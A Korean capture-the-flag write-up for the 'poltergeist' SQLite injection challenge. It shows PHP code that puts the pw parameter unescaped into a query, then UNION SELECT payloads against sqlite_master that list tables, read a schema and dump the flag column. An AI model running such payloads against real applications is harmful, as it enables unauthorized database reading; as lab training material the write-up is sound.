문제 코드

<?php
  include "./config.php";
  login_chk();
  $db = sqlite_open("./db/poltergeist.db");
  $query = "select id from member where id='admin' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = sqlite_fetch_array(sqlite_query($db,$query));
  if($result['id']) echo "<h2>Hello {$result['id']}</h2>";

  if($poltergeistFlag === $_GET['pw']) solve("poltergeist");// Flag is in `flag_{$hash}` table, not in `member` table. Let's look over whole of the database.
  highlight_file(__FILE__);
?>

공격 백터

  • pw

코드 분석

$query = "select id from member where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = sqlite_fetch_array(sqlite_query($db,$query));
if($result['id']) echo "<h2>Hello {$result['id']}</h2>";

id='admin' and pw='공격 백터 pw'인 member 변수에 저장된 id을 반환하는 쿼리문이다.
만약 쿼리문 반환 값이 있다면, hello 반환 값을 페이지에 출력한다.

 

if($poltergeistFlag === $_GET['pw']) solve("poltergeist");
// Flag is in `flag_{$hash}` table, not in `member` table. Let's look over whole of the database.

문제를 풀기 위해선 $poltergeistFlag와 공격 백터랑 같아야 문제가 클리어하게 된다.
$poltergeistFlagflag_{$hash}로 되어있는 테이블에 저장되어있다고 한다.

 

Mysql의 information_schema.TABLES처럼 메타데이터를 이용하여 문제를 풀이하면 될 듯 싶다.


문제 풀이

인터넷에 SQLite의 information_schema의 역할을 하는 것을 검색을 해보니, sqlite_master라는 것을 찾을 수 있었다.
이를 Union을 이용하여 출력해보록 하겠다.

 

참고 사이트

 

?pw=' UNION SELECT tbl_name FROM sqlite_master--

바로 출력이 되었다..
만약 바로 나오지 않았다면, LIKE를 이용하여 flag_%으로 찾으면 된다.

 

?pw=' UNION SELECT sql FROM sqlite_master WHERE tbl_name='flag_70c81d99'--

나는 곧바로 sqlite_master을 이용하여 flag_70c81d99에 있는 컬럼을 출력하였다.

 

?pw=' UNION SELECT flag_0876285c FROM flag_70c81d99--

그리고 출력해보니 flag값이 있었다.

 

flag 값을 서버로 보내면 문제가 클리어된다.
이번 문제는 SQLite도 Mysql처럼 메타데이터를 이용하여 풀 수 있다는 것을 보여주는 문제로 추측된다.

복사했습니다!